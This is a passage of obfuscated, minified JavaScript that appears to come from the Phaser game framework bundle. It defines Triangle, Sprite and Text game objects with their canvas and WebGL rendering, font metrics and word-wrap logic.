'initialize': function (_0x50d008, _0x41b8f0, _0x22418a, _0x40676e, _0x480f07, _0x4822fc, _0x520c5b, _0x2bf47e, _0x8f0b26, _0x512d4d, _0x29a6c7) { void 0x0 === _0x41b8f0 && (_0x41b8f0 = 0x0), void 0x0 === _0x22418a && (_0x22418a = 0x0), void 0x0 === _0x40676e && (_0x40676e = 0x0), void 0x0 === _0x480f07 && (_0x480f07 = 0x80), void 0x0 === _0x4822fc && (_0x4822fc = 0x40), void 0x0 === _0x520c5b && (_0x520c5b = 0x0), void 0x0 === _0x2bf47e && (_0x2bf47e = 0x80), void 0x0 === _0x8f0b26 && (_0x8f0b26 = 0x80), _0x475ae9['call'](this, _0x50d008, 'Triangle', new _0x331810(_0x40676e, _0x480f07, _0x4822fc, _0x520c5b, _0x2bf47e, _0x8f0b26)); var _0x5e8d7f = this['geom']['right'] - this['geom']['left'], _0x1b33fa = this['geom']['bottom'] - this['geom']['top']; this['setPosition'](_0x41b8f0, _0x22418a), this['setSize'](_0x5e8d7f, _0x1b33fa), void 0x0 !== _0x512d4d && this['setFillStyle'](_0x512d4d, _0x29a6c7), this['updateDisplayOrigin'](), this['updateData'](); }, 'setTo': function (_0x3adfa9, _0x4c111b, _0x338454, _0x4c8ee6, _0x47f428, _0x580906) { return this['geom']['setTo'](_0x3adfa9, _0x4c111b, _0x338454, _0x4c8ee6, _0x47f428, _0x580906), this['updateData'](); }, 'updateData': function () { var _0x2ca1e8 = [], _0x3de514 = this['geom'], _0x2f50a2 = this['_tempLine']; return _0x3de514['getLineA'](_0x2f50a2), _0x2ca1e8['push'](_0x2f50a2['x1'], _0x2f50a2['y1'], _0x2f50a2['x2'], _0x2f50a2['y2']), _0x3de514['getLineB'](_0x2f50a2), _0x2ca1e8['push'](_0x2f50a2['x2'], _0x2f50a2['y2']), _0x3de514['getLineC'](_0x2f50a2), _0x2ca1e8['push'](_0x2f50a2['x2'], _0x2f50a2['y2']), this['pathData'] = _0x2ca1e8, this; } }); _0x55a257['exports'] = _0x47361a; }, 0x14cb4: (_0x3bb31b, _0x21360f, _0x347340) => { var _0x5f2b73 = _0x347340(0x101a8), _0x5845d6 = _0x347340(0x125a9), _0x2eaef7 = _0x347340(0x51be); _0x3bb31b['exports'] = function (_0x51b32a, _0x3220de, _0x426e47, _0x3bc150) { _0x426e47['addToRenderList'](_0x3220de); var _0x55fb06 = _0x51b32a['currentContext']; if (_0x2eaef7(_0x51b32a, _0x55fb06, _0x3220de, _0x426e47, _0x3bc150)) { var _0x283642 = _0x3220de['_displayOriginX'], _0x11e2e2 = _0x3220de['_displayOriginY'], _0x443aaf = _0x3220de['geom']['x1'] - _0x283642, _0x236eed = _0x3220de['geom']['y1'] - _0x11e2e2, _0x35f184 = _0x3220de['geom']['x2'] - _0x283642, _0x5384fe = _0x3220de['geom']['y2'] - _0x11e2e2, _0x3663c7 = _0x3220de['geom']['x3'] - _0x283642, _0x58bcb3 = _0x3220de['geom']['y3'] - _0x11e2e2; _0x55fb06['beginPath'](), _0x55fb06['moveTo'](_0x443aaf, _0x236eed), _0x55fb06['lineTo'](_0x35f184, _0x5384fe), _0x55fb06['lineTo'](_0x3663c7, _0x58bcb3), _0x55fb06['closePath'](), _0x3220de['isFilled'] && (_0x5f2b73(_0x55fb06, _0x3220de), _0x55fb06['fill']()), _0x3220de['isStroked'] && (_0x5845d6(_0x55fb06, _0x3220de), _0x55fb06['stroke']()), _0x55fb06['restore'](); } }; }, 0xb0bd: (_0x1d09d9, _0x5a6460, _0x1dc5ac) => { var _0x5dc287 = _0x1dc5ac(0x9a05), _0x51ea8c = _0x1dc5ac(0x9043); _0x5dc287['register']('triangle', function (_0x4bb0ab, _0x59c49, _0x417158, _0x5254d2, _0x4c90f1, _0x348bfd, _0x527a0a, _0x3024d6, _0x25569d, _0x33adec) { return this['displayList']['add'](new _0x51ea8c(this['scene'], _0x4bb0ab, _0x59c49, _0x417158, _0x5254d2, _0x4c90f1, _0x348bfd, _0x527a0a, _0x3024d6, _0x25569d, _0x33adec)); }); }, 0x177c3: (_0x52d88c, _0x5b0416, _0x14accc) => { var _0x5d2fa9 = _0x14accc(0x7433), _0x18ddf4 = _0x5d2fa9, _0x2942ac = _0x5d2fa9; _0x18ddf4 = _0x14accc(0x14535), _0x2942ac = _0x14accc(0x14cb4), _0x52d88c['exports'] = { 'renderWebGL': _0x18ddf4, 'renderCanvas': _0x2942ac }; }, 0x14535: (_0x3755d5, _0x1b979c, _0x4926de) => { var _0xa0b263 = _0x4926de(0x164a0), _0x473271 = _0x4926de(0x877a), _0x3a048c = _0x4926de(0x1139a); _0x3755d5['exports'] = function (_0x3ca0f8, _0x3cc357, _0x27a80c, _0xd6eae2) { _0x27a80c['addToRenderList'](_0x3cc357); var _0x2430f2 = _0x3ca0f8['pipelines']['set'](_0x3cc357['pipeline']), _0xfa95b8 = _0xa0b263(_0x3cc357, _0x27a80c, _0xd6eae2); _0x2430f2['calcMatrix']['copyFrom'](_0xfa95b8['calc']); var _0x5b5d62 = _0x3cc357['_displayOriginX'], _0x468dc6 = _0x3cc357['_displayOriginY'], _0x468e07 = _0x27a80c['alpha'] * _0x3cc357['alpha']; if (_0x3ca0f8['pipelines']['preBatch'](_0x3cc357), _0x3cc357['isFilled']) { var _0x3fb408 = _0x2430f2['fillTint'], _0x4c312c = _0x3a048c['getTintAppendFloatAlpha'](_0x3cc357['fillColor'], _0x3cc357['fillAlpha'] * _0x468e07); _0x3fb408['TL'] = _0x4c312c, _0x3fb408['TR'] = _0x4c312c, _0x3fb408['BL'] = _0x4c312c, _0x3fb408['BR'] = _0x4c312c; var _0x18aeb7 = _0x3cc357['geom']['x1'] - _0x5b5d62, _0x457426 = _0x3cc357['geom']['y1'] - _0x468dc6, _0x2f12f8 = _0x3cc357['geom']['x2'] - _0x5b5d62, _0x113b03 = _0x3cc357['geom']['y2'] - _0x468dc6, _0x3ec353 = _0x3cc357['geom']['x3'] - _0x5b5d62, _0x53b134 = _0x3cc357['geom']['y3'] - _0x468dc6; _0x2430f2['batchFillTriangle'](_0x18aeb7, _0x457426, _0x2f12f8, _0x113b03, _0x3ec353, _0x53b134, _0xfa95b8['sprite'], _0xfa95b8['camera']); } _0x3cc357['isStroked'] && _0x473271(_0x2430f2, _0x3cc357, _0x468e07, _0x5b5d62, _0x468dc6), _0x3ca0f8['pipelines']['postBatch'](_0x3cc357); }; }, 0x10abf: (_0x3373f8, _0x212323, _0x4116d8) => { var _0x46a1dc = _0x4116d8(0x25ca), _0x1bdf71 = _0x4116d8(0x145db), _0x18d4de = _0x4116d8(0x7aa9), _0xd4b1dd = _0x4116d8(0x1759b), _0x3a9b84 = _0x4116d8(0x16a4f), _0x31f4a7 = new _0x1bdf71({ 'Extends': _0xd4b1dd, 'Mixins': [_0x18d4de['Alpha'], _0x18d4de['BlendMode'], _0x18d4de['Depth'], _0x18d4de['Flip'], _0x18d4de['GetBounds'], _0x18d4de['Mask'], _0x18d4de['Origin'], _0x18d4de['Pipeline'], _0x18d4de['PostPipeline'], _0x18d4de['ScrollFactor'], _0x18d4de['Size'], _0x18d4de['TextureCrop'], _0x18d4de['Tint'], _0x18d4de['Transform'], _0x18d4de['Visible'], _0x3a9b84], 'initialize': function (_0x12a845, _0x520725, _0x2aaf11, _0x34dccc, _0x3d2914) { _0xd4b1dd['call'](this, _0x12a845, 'Sprite'), this['_crop'] = this['resetCropObject'](), this['anims'] = new _0x46a1dc(this), this['setTexture'](_0x34dccc, _0x3d2914), this['setPosition'](_0x520725, _0x2aaf11), this['setSizeToFrame'](), this['setOriginFromFrame'](), this['initPipeline'](), this['initPostPipeline'](!0x0); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'preUpdate': function (_0x5d5451, _0x4026cb) { this['anims']['update'](_0x5d5451, _0x4026cb); }, 'play': function (_0x8202fa, _0x2d8999) { return this['anims']['play'](_0x8202fa, _0x2d8999); }, 'playReverse': function (_0x2a946e, _0x223069) { return this['anims']['playReverse'](_0x2a946e, _0x223069); }, 'playAfterDelay': function (_0x22e944, _0x17409b) { return this['anims']['playAfterDelay'](_0x22e944, _0x17409b); }, 'playAfterRepeat': function (_0x489ab8, _0x2e470b) { return this['anims']['playAfterRepeat'](_0x489ab8, _0x2e470b); }, 'chain': function (_0x42c763) { return this['anims']['chain'](_0x42c763); }, 'stop': function () { return this['anims']['stop'](); }, 'stopAfterDelay': function (_0x73a3d5) { return this['anims']['stopAfterDelay'](_0x73a3d5); }, 'stopAfterRepeat': function (_0x2187df) { return this['anims']['stopAfterRepeat'](_0x2187df); }, 'stopOnFrame': function (_0x1c6175) { return this['anims']['stopOnFrame'](_0x1c6175); }, 'toJSON': function () { return _0x18d4de['ToJSON'](this); }, 'preDestroy': function () { this['anims']['destroy'](), this['anims'] = void 0x0; } }); _0x3373f8['exports'] = _0x31f4a7; }, 0x12b08: _0x38df8e => { _0x38df8e['exports'] = function (_0x45d7ff, _0x50123d, _0x406dc1, _0x7c76a) { _0x406dc1['addToRenderList'](_0x50123d), _0x45d7ff['batchSprite'](_0x50123d, _0x50123d['frame'], _0x406dc1, _0x7c76a); }; }, 0x3ccf: (_0x9df9c8, _0x2b3cef, _0x36bc3f) => { var _0x5a90d1 = _0x36bc3f(0x62d9), _0x19f679 = _0x36bc3f(0x3303), _0x308621 = _0x36bc3f(0xae3b), _0x1bd13d = _0x36bc3f(0x5c10), _0x156f97 = _0x36bc3f(0x10abf); _0x308621['register']('sprite', function (_0x545a95, _0x12bd67) { void 0x0 === _0x545a95 && (_0x545a95 = {}); var _0x4f3c07 = _0x1bd13d(_0x545a95, 'key', null), _0x34aeb3 = _0x1bd13d(_0x545a95, 'frame', null), _0x294ab0 = new _0x156f97(this['scene'], 0x0, 0x0, _0x4f3c07, _0x34aeb3); return void 0x0 !== _0x12bd67 && (_0x545a95['add'] = _0x12bd67), _0x5a90d1(this['scene'], _0x294ab0, _0x545a95), _0x19f679(_0x294ab0, _0x545a95), _0x294ab0; }); }, 0xb549: (_0x7368ad, _0x3a2985, _0x3d70e6) => { var _0x3b65a4 = _0x3d70e6(0x9a05), _0x341869 = _0x3d70e6(0x10abf); _0x3b65a4['register']('sprite', function (_0x5aa90c, _0x365cfa, _0x51c538, _0x1bd57a) { return this['displayList']['add'](new _0x341869(this['scene'], _0x5aa90c, _0x365cfa, _0x51c538, _0x1bd57a)); }); }, 0x16a4f: (_0x45099c, _0x1d9db3, _0x1466d7) => { var _0x16f9f6 = _0x1466d7(0x7433), _0x393133 = _0x16f9f6, _0x28a351 = _0x16f9f6; _0x393133 = _0x1466d7(0x24c1), _0x28a351 = _0x1466d7(0x12b08), _0x45099c['exports'] = { 'renderWebGL': _0x393133, 'renderCanvas': _0x28a351 }; }, 0x24c1: _0x579385 => { _0x579385['exports'] = function (_0x481345, _0x412f1c, _0x1c9e82, _0x170962) { _0x1c9e82['addToRenderList'](_0x412f1c), _0x412f1c['pipeline']['batchSprite'](_0x412f1c, _0x1c9e82, _0x170962); }; }, 0x378c: _0x203e68 => { _0x203e68['exports'] = function (_0x28e75d, _0x393597, _0x1bd2f6) { var _0x2ce62d = _0x28e75d['canvas'], _0xb44bb9 = _0x28e75d['context'], _0x3a57a7 = _0x28e75d['style'], _0x5a61d4 = [], _0x1ed47b = 0x0, _0x3ce57f = _0x1bd2f6['length']; _0x3a57a7['maxLines'] > 0x0 && _0x3a57a7['maxLines'] < _0x1bd2f6['length'] && (_0x3ce57f = _0x3a57a7['maxLines']), _0x3a57a7['syncFont'](_0x2ce62d, _0xb44bb9); for (var _0x114bd5 = _0x28e75d['letterSpacing'], _0x5cf6b6 = 0x0; _0x5cf6b6 < _0x3ce57f; _0x5cf6b6++) { var _0x322e00 = _0x3a57a7['strokeThickness']; if (0x0 === _0x114bd5) _0x322e00 += _0xb44bb9['measureText'](_0x1bd2f6[_0x5cf6b6])['width']; else { for (var _0x236689 = _0x1bd2f6[_0x5cf6b6], _0x2af7ac = 0x0; _0x2af7ac < _0x236689['length']; _0x2af7ac++)_0x322e00 += _0xb44bb9['measureText'](_0x236689[_0x2af7ac])['width']; _0x236689['length'] > 0x1 && (_0x322e00 += _0x114bd5 * (_0x236689['length'] - 0x1)); } _0x3a57a7['wordWrap'] && (_0x322e00 -= _0xb44bb9['measureText']('\x20')['width']), _0x5a61d4[_0x5cf6b6] = Math['ceil'](_0x322e00), _0x1ed47b = Math['max'](_0x1ed47b, _0x5a61d4[_0x5cf6b6]); } var _0x231ac8 = _0x393597['fontSize'] + _0x3a57a7['strokeThickness'], _0x1b7883 = _0x231ac8 * _0x3ce57f, _0x22a503 = _0x28e75d['lineSpacing']; return _0x3ce57f > 0x1 && (_0x1b7883 += _0x22a503 * (_0x3ce57f - 0x1)), { 'width': _0x1ed47b, 'height': _0x1b7883, 'lines': _0x3ce57f, 'lineWidths': _0x5a61d4, 'lineSpacing': _0x22a503, 'lineHeight': _0x231ac8 }; }; }, 0x136c5: (_0x3d84ce, _0x42f9bb, _0x46e817) => { var _0x848a73 = _0x46e817(0x6d0f); _0x3d84ce['exports'] = function (_0x5653e8) { var _0x50b9ee = _0x848a73['create'](this), _0x2e8148 = _0x50b9ee['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x5653e8['syncFont'](_0x50b9ee, _0x2e8148); var _0x4734a5 = _0x2e8148['measureText'](_0x5653e8['testString']); if ('actualBoundingBoxAscent' in _0x4734a5) { var _0x465657 = _0x4734a5['actualBoundingBoxAscent'], _0x24fe49 = _0x4734a5['actualBoundingBoxDescent']; return _0x848a73['remove'](_0x50b9ee), { 'ascent': _0x465657, 'descent': _0x24fe49, 'fontSize': _0x465657 + _0x24fe49 }; } var _0x44efc9 = Math['ceil'](_0x4734a5['width'] * _0x5653e8['baselineX']), _0xd04dfa = _0x44efc9, _0x186812 = 0x2 * _0xd04dfa; _0xd04dfa = _0xd04dfa * _0x5653e8['baselineY'] | 0x0, _0x50b9ee['width'] = _0x44efc9, _0x50b9ee['height'] = _0x186812, _0x2e8148['fillStyle'] = '#f00', _0x2e8148['fillRect'](0x0, 0x0, _0x44efc9, _0x186812), _0x2e8148['font'] = _0x5653e8['_font'], _0x2e8148['textBaseline'] = 'alphabetic', _0x2e8148['fillStyle'] = '#000', _0x2e8148['fillText'](_0x5653e8['testString'], 0x0, _0xd04dfa); var _0x29bc3c = { 'ascent': 0x0, 'descent': 0x0, 'fontSize': 0x0 }, _0x56ce18 = _0x2e8148['getImageData'](0x0, 0x0, _0x44efc9, _0x186812); if (!_0x56ce18) return _0x29bc3c['ascent'] = _0xd04dfa, _0x29bc3c['descent'] = _0xd04dfa + 0x6, _0x29bc3c['fontSize'] = _0x29bc3c['ascent'] + _0x29bc3c['descent'], _0x848a73['remove'](_0x50b9ee), _0x29bc3c; var _0x17f9f0, _0x270170, _0x1789ea = _0x56ce18['data'], _0x5c796f = _0x1789ea['length'], _0x50b118 = 0x4 * _0x44efc9, _0x449373 = 0x0, _0x526134 = !0x1; for (_0x17f9f0 = 0x0; _0x17f9f0 < _0xd04dfa; _0x17f9f0++) { for (_0x270170 = 0x0; _0x270170 < _0x50b118; _0x270170 += 0x4)if (0xff !== _0x1789ea[_0x449373 + _0x270170]) { _0x526134 = !0x0; break; } if (_0x526134) break; _0x449373 += _0x50b118; } for (_0x29bc3c['ascent'] = _0xd04dfa - _0x17f9f0, _0x449373 = _0x5c796f - _0x50b118, _0x526134 = !0x1, _0x17f9f0 = _0x186812; _0x17f9f0 > _0xd04dfa; _0x17f9f0--) { for (_0x270170 = 0x0; _0x270170 < _0x50b118; _0x270170 += 0x4)if (0xff !== _0x1789ea[_0x449373 + _0x270170]) { _0x526134 = !0x0; break; } if (_0x526134) break; _0x449373 -= _0x50b118; } return _0x29bc3c['descent'] = _0x17f9f0 - _0xd04dfa, _0x29bc3c['fontSize'] = _0x29bc3c['ascent'] + _0x29bc3c['descent'], _0x848a73['remove'](_0x50b9ee), _0x29bc3c; }; }, 0xc3fb: (_0x289beb, _0x261739, _0x2d7a0f) => { var _0x16a041 = _0x2d7a0f(0x9dae), _0x144aff = _0x2d7a0f(0x6d0f), _0x19cda0 = _0x2d7a0f(0x145db), _0x1178af = _0x2d7a0f(0x7aa9), _0x470caf = _0x2d7a0f(0x1759b), _0x2c6d19 = _0x2d7a0f(0x378c), _0x5ca126 = _0x2d7a0f(0x8952), _0x4aa10c = _0x2d7a0f(0x8c06), _0x17eb8f = _0x2d7a0f(0xf14b), _0x58ce22 = _0x2d7a0f(0x8bb2), _0x2326a4 = _0x2d7a0f(0xb252), _0x4f052a = new _0x19cda0({ 'Extends': _0x470caf, 'Mixins': [_0x1178af['Alpha'], _0x1178af['BlendMode'], _0x1178af['ComputedSize'], _0x1178af['Crop'], _0x1178af['Depth'], _0x1178af['Flip'], _0x1178af['GetBounds'], _0x1178af['Mask'], _0x1178af['Origin'], _0x1178af['Pipeline'], _0x1178af['PostPipeline'], _0x1178af['ScrollFactor'], _0x1178af['Tint'], _0x1178af['Transform'], _0x1178af['Visible'], _0x17eb8f], 'initialize': function (_0x3be393, _0x4d6b28, _0x5cf82a, _0x14e952, _0x387ff0) { void 0x0 === _0x4d6b28 && (_0x4d6b28 = 0x0), void 0x0 === _0x5cf82a && (_0x5cf82a = 0x0), _0x470caf['call'](this, _0x3be393, 'Text'), this['renderer'] = _0x3be393['sys']['renderer'], this['setPosition'](_0x4d6b28, _0x5cf82a), this['setOrigin'](0x0, 0x0), this['initPipeline'](), this['initPostPipeline'](!0x0), this['canvas'] = _0x144aff['create'](this), this['context'], this['style'] = new _0x58ce22(this, _0x387ff0), this['autoRound'] = !0x0, this['splitRegExp'] = /(?:\r\n|\r|\n)/, this['_text'] = void 0x0, this['padding'] = { 'left': 0x0, 'right': 0x0, 'top': 0x0, 'bottom': 0x0 }, this['width'] = 0x1, this['height'] = 0x1, this['lineSpacing'] = 0x0, this['letterSpacing'] = 0x0, 0x0 === this['style']['resolution'] && (this['style']['resolution'] = 0x1), this['_crop'] = this['resetCropObject'](), this['_textureKey'] = _0x2326a4(), this['texture'] = _0x3be393['sys']['textures']['addCanvas'](this['_textureKey'], this['canvas']), this['context'] = this['texture']['context'], this['frame'] = this['texture']['get'](), this['frame']['source']['resolution'] = this['style']['resolution'], this['renderer'] && this['renderer']['gl'] && (this['renderer']['deleteTexture'](this['frame']['source']['glTexture']), this['frame']['source']['glTexture'] = null), this['initRTL'](), this['setText'](_0x14e952), _0x387ff0 && _0x387ff0['padding'] && this['setPadding'](_0x387ff0['padding']), _0x387ff0 && _0x387ff0['lineSpacing'] && this['setLineSpacing'](_0x387ff0['lineSpacing']); }, 'initRTL': function () { this['style']['rtl'] && (this['canvas']['dir'] = 'rtl', this['context']['direction'] = 'rtl', this['canvas']['style']['display'] = 'none', _0x16a041(this['canvas'], this['scene']['sys']['canvas']), this['originX'] = 0x1); }, 'runWordWrap': function (_0xa6fe67) { var _0x275077 = this['style']; if (_0x275077['wordWrapCallback']) { var _0x1445f2 = _0x275077['wordWrapCallback']['call'](_0x275077['wordWrapCallbackScope'], _0xa6fe67, this); return Array['isArray'](_0x1445f2) && (_0x1445f2 = _0x1445f2['join']('\x0a')), _0x1445f2; } return _0x275077['wordWrapWidth'] ? _0x275077['wordWrapUseAdvanced'] ? this['advancedWordWrap'](_0xa6fe67, this['context'], this['style']['wordWrapWidth']) : this['basicWordWrap'](_0xa6fe67, this['context'], this['style']['wordWrapWidth']) : _0xa6fe67; }, 'advancedWordWrap': function (_0x21b1f9, _0x1a9769, _0x16f9da) { for (var _0x575d7e = '', _0x21dec3 = _0x21b1f9['replace'](/ +/gi, '\x20')['split'](this['splitRegExp']), _0x2a8f12 = _0x21dec3['length'], _0x136a78 = 0x0; _0x136a78 < _0x2a8f12; _0x136a78++) { var _0x242695 = _0x21dec3[_0x136a78], _0x1f2082 = ''; if (_0x242695 = _0x242695['replace'](/^ *|\s*$/gi, ''), _0x1a9769['measureText'](_0x242695)['width'] < _0x16f9da) _0x575d7e += _0x242695 + '\x0a'; else { for (var _0x6caecd = _0x16f9da, _0x261099 = _0x242695['split']('\x20'), _0x335610 = 0x0; _0x335610 < _0x261099['length']; _0x335610++) { var _0x29647c = _0x261099[_0x335610], _0x496bb2 = _0x29647c + '\x20', _0x310278 = _0x1a9769['measureText'](_0x496bb2)['width']; if (_0x310278 > _0x6caecd) { if (0x0 === _0x335610) { for (var _0x3e85b1 = _0x496bb2; _0x3e85b1['length'] && (_0x3e85b1 = _0x3e85b1['slice'](0x0, -0x1), !((_0x310278 = _0x1a9769['measureText'](_0x3e85b1)['width']) <= _0x6caecd));); if (!_0x3e85b1['length']) throw new Error('wordWrapWidth\x20<\x20a\x20single\x20character'); var _0x2beb49 = _0x29647c['substr'](_0x3e85b1['length']); _0x261099[_0x335610] = _0x2beb49, _0x1f2082 += _0x3e85b1; } var _0x389776 = _0x261099[_0x335610]['length'] ? _0x335610 : _0x335610 + 0x1, _0x1d5ca5 = _0x261099['slice'](_0x389776)['join']('\x20')['replace'](/[ \n]*$/gi, ''); _0x21dec3['splice'](_0x136a78 + 0x1, 0x0, _0x1d5ca5), _0x2a8f12 = _0x21dec3['length']; break; } _0x1f2082 += _0x496bb2, _0x6caecd -= _0x310278; } _0x575d7e += _0x1f2082['replace'](/[ \n]*$/gi, '') + '\x0a'; } } return _0x575d7e = _0x575d7e['replace'](/[\s|\n]*$/gi, ''); }, 'basicWordWrap': function (_0x133284, _0x14e4d7, _0x4ef271) { for (var _0x3a5cf0 = '', _0x45d8e9 = _0x133284['split'](this['splitRegExp']), _0x4dae31 = _0x45d8e9['length'] - 0x1, _0x33c023 = _0x14e4d7['measureText']('\x20')['width'], _0x21dbb5 = 0x0; _0x21dbb5 <= _0x4dae31; _0x21dbb5++) { for (var _0x277fe8 = _0x4ef271, _0x55fb27 = _0x45d8e9[_0x21dbb5]['split']('\x20'), _0x326171 = _0x55fb27['length'] - 0x1, _0x5f5b7f = 0x0; _0x5f5b7f <= _0x326171; _0x5f5b7f++) { var _0x5c408d = _0x55fb27[_0x5f5b7f], _0x5ed2ad = _0x14e4d7['measureText'](_0x5c408d)['width'], _0x1de4f9 = _0x5ed2ad; _0x5f5b7f < _0x326171 && (_0x1de4f9 += _0x33c023), _0x1de4f9 > _0x277fe8 && _0x5f5b7f > 0x0 && (_0x3a5cf0 += '\x0a', _0x277fe8 = _0x4ef271), _0x3a5cf0 += _0x5c408d, _0x5f5b7f < _0x326171 ? (_0x3a5cf0 += '\x20', _0x277fe8 -= _0x1de4f9) : _0x277fe8 -= _0x5ed2ad; } _0x21dbb5 < _0x4dae31 && (_0x3a5cf0 += '\x0a'); } return _0x3a5cf0; }, 'getWrappedText': function (_0x4a28b2) { return void 0x0 === _0x4a28b2 && (_0x4a28b2 = this['_text']), this['style']['syncFont'](this['canvas'], this['context']), this['runWordWrap'](_0x4a28b2)['split'](this['splitRegExp']); }, 'setText': function (_0x436566) { return _0x436566 || 0x0 === _0x436566 || (_0x436566 = ''), Array['isArray'](_0x436566) && (_0x436566 = _0x436566['join']('\x0a')), _0x436566 !== this['_text'] && (this['_text'] = _0x436566['toString'](), this['updateText']()), this; }, 'appendText': function (_0x39bedf, _0x35e09e) { void 0x0 === _0x35e09e && (_0x35e09e = !0x0), _0x39bedf || 0x0 === _0x39bedf || (_0x39bedf = ''), Array['isArray'](_0x39bedf) && (_0x39bedf = _0x39bedf['join']('\x0a')), _0x39bedf = _0x39bedf['toString'](); var _0x258fe4 = this['_text']['concat'](_0x35e09e ? '\x0a' + _0x39bedf : _0x39bedf); return _0x258fe4 !== this['_text'] && (this['_text'] = _0x258fe4, this['updateText']()), this; }, 'setStyle': function (_0x2de92b) { return this['style']['setStyle'](_0x2de92b); }, 'setFont': function (_0x14547f) { return this['style']['setFont'](_0x14547f); }, 'setFontFamily': function (_0x505862) { return this['style']['setFontFamily'](_0x505862); }, 'setFontSize': function (_0x2b2d42) { return this['style']['setFontSize'](_0x2b2d42); }, 'setFontStyle': function (_0x43b0a4) { return this['style']['setFontStyle'](_0x43b0a4); }, 'setFixedSize': function (_0x1e3940, _0x907688) { return this['style']['setFixedSize'](_0x1e3940, _0x907688); }, 'setBackgroundColor': function (_0x1fabd2) { return this['style']['setBackgroundColor'](_0x1fabd2); }, 'setFill': function (_0x5900f0) { return this['style']['setFill'](_0x5900f0); }, 'setColor': function (_0x413e43) { return this['style']['setColor'](_0x413e43); }, 'setStroke': function (_0x2fb4db, _0x463718) { return this['style']['setStroke'](_0x2fb4db, _0x463718); }, 'setShadow': function (_0x47bf11, _0x547e27, _0x31f1d6, _0x1ae49a, _0x56381c, _0x13413a) { return this['style']['setShadow'](_0x47bf11, _0x547e27, _0x31f1d6, _0x1ae49a, _0x56381c, _0x13413a); }, 'setShadowOffset': function (_0x5413ef, _0x4caf28) { return this['style']['setShadowOffset'](_0x5413ef, _0x4caf28); }, 'setShadowColor': function (_0x5e5e92) { return this['style']['setShadowColor'](_0x5e5e92); }, 'setShadowBlur': function (_0x9f9ed) { return this['style']['setShadowBlur'](_0x9f9ed); }, 'setShadowStroke': function (_0x318da5) { return this['style']['setShadowStroke'](_0x318da5); }, 'setShadowFill': function (_0x273e2d) { return this['style']['setShadowFill'](_0x273e2d); }, 'setWordWrapWidth': function (_0x263c65, _0x24f6d5) { return this['style']['setWordWrapWidth'](_0x263c65, _0x24f6d5); }, 'setWordWrapCallback': function (_0x327359, _0x22d071) { return this['style']['setWordWrapCallback'](_0x327359, _0x22d071); }, 'setAlign': function (_0x1dd85d) { return this['style']['setAlign'](_0x1dd85d); }, 'setResolution': function (_0x5df2fd) { return this['style']['setResolution'](_0x5df2fd); }, 'setLineSpacing': function (_0x2c8be5) { return this['lineSpacing'] = _0x2c8be5, this['updateText'](); }, 'setLetterSpacing': function (_0x5067e1) { return this['letterSpacing'] = _0x5067e1, this['updateText'](); }, 'setPadding': function (_0x17d486, _0xbef82d, _0x795e87, _0x33a53c) { if ('object' == typeof _0x17d486) { var _0x4aed6f = _0x17d486, _0x6e0e75 = _0x5ca126(_0x4aed6f, 'x', null); null !== _0x6e0e75 ? (_0x17d486 = _0x6e0e75, _0x795e87 = _0x6e0e75) : (_0x17d486 = _0x5ca126(_0x4aed6f, 'left', 0x0), _0x795e87 = _0x5ca126(_0x4aed6f, 'right', _0x17d486)); var _0x56d21e = _0x5ca126(_0x4aed6f, 'y', null); null !== _0x56d21e ? (_0xbef82d = _0x56d21e, _0x33a53c = _0x56d21e) : (_0xbef82d = _0x5ca126(_0x4aed6f, 'top', 0x0), _0x33a53c = _0x5ca126(_0x4aed6f, 'bottom', _0xbef82d)); } else void 0x0 === _0x17d486 && (_0x17d486 = 0x0), void 0x0 === _0xbef82d && (_0xbef82d = _0x17d486), void 0x0 === _0x795e87 && (_0x795e87 = _0x17d486), void 0x0 === _0x33a53c && (_0x33a53c = _0xbef82d); return this['padding']['left'] = _0x17d486, this['padding']['top'] = _0xbef82d, this['padding']['right'] = _0x795e87, this['padding']['bottom'] = _0x33a53c, this['updateText'](); }, 'setMaxLines': function (_0x2f5635) { return this['style']['setMaxLines'](_0x2f5635); }, 'setRTL': function (_0x1865dd) { void 0x0 === _0x1865dd && (_0x1865dd = !0x0); var _0x527430 = this['style']; return _0x527430['rtl'] === _0x1865dd || (_0x527430['rtl'] = _0x1865dd, _0x1865dd ? (this['canvas']['dir'] = 'rtl', this['context']['direction'] = 'rtl', this['canvas']['style']['display'] = 'none', _0x16a041(this['canvas'], this['scene']['sys']['canvas'])) : (this['canvas']['dir'] = 'ltr', this['context']['direction'] = 'ltr'), 'left' === _0x527430['align'] ? _0x527430['align'] = 'right' : 'right' === _0x527430['align'] && (_0x527430['align'] = 'left')), this; }, 'updateText': function () { var _0x20f308 = this['canvas'], _0x43df37 = this['context'], _0x1fe3f7 = this['style'], _0x479a19 = _0x1fe3f7['resolution'], _0x1c55ea = _0x1fe3f7['metrics']; _0x1fe3f7['syncFont'](_0x20f308, _0x43df37); var _0x18f7b6 = this['_text']; (_0x1fe3f7['wordWrapWidth'] || _0x1fe3f7['wordWrapCallback']) && (_0x18f7b6 = this['runWordWrap'](this['_text'])); var _0x5b758b, _0x59bc2d = _0x18f7b6['split'](this['splitRegExp']), _0x3496d2 = _0x2c6d19(this, _0x1c55ea, _0x59bc2d), _0x436264 = this['padding']; 0x0 === _0x1fe3f7['fixedWidth'] ? (this['width'] = _0x3496d2['width'] + _0x436264['left'] + _0x436264['right'], _0x5b758b = _0x3496d2['width']) : (this['width'] = _0x1fe3f7['fixedWidth'], (_0x5b758b = this['width'] - _0x436264['left'] - _0x436264['right']) < _0x3496d2['width'] && (_0x5b758b = _0x3496d2['width'])), 0x0 === _0x1fe3f7['fixedHeight'] ? this['height'] = _0x3496d2['height'] + _0x436264['top'] + _0x436264['bottom'] : this['height'] = _0x1fe3f7['fixedHeight']; var _0x16f5b3, _0x58185f, _0xd044ed = this['width'], _0x40feaf = this['height']; this['updateDisplayOrigin'](), _0xd044ed *= _0x479a19, _0x40feaf *= _0x479a19, _0xd044ed = Math['max'](_0xd044ed, 0x1), _0x40feaf = Math['max'](_0x40feaf, 0x1), _0x20f308['width'] !== _0xd044ed || _0x20f308['height'] !== _0x40feaf ? (_0x20f308['width'] = _0xd044ed, _0x20f308['height'] = _0x40feaf, this['frame']['setSize'](_0xd044ed, _0x40feaf), _0x1fe3f7['syncFont'](_0x20f308, _0x43df37), _0x1fe3f7['rtl'] && (_0x43df37['direction'] = 'rtl')) : _0x43df37['clearRect'](0x0, 0x0, _0xd044ed, _0x40feaf), _0x43df37['save'](), _0x43df37['scale'](_0x479a19, _0x479a19), 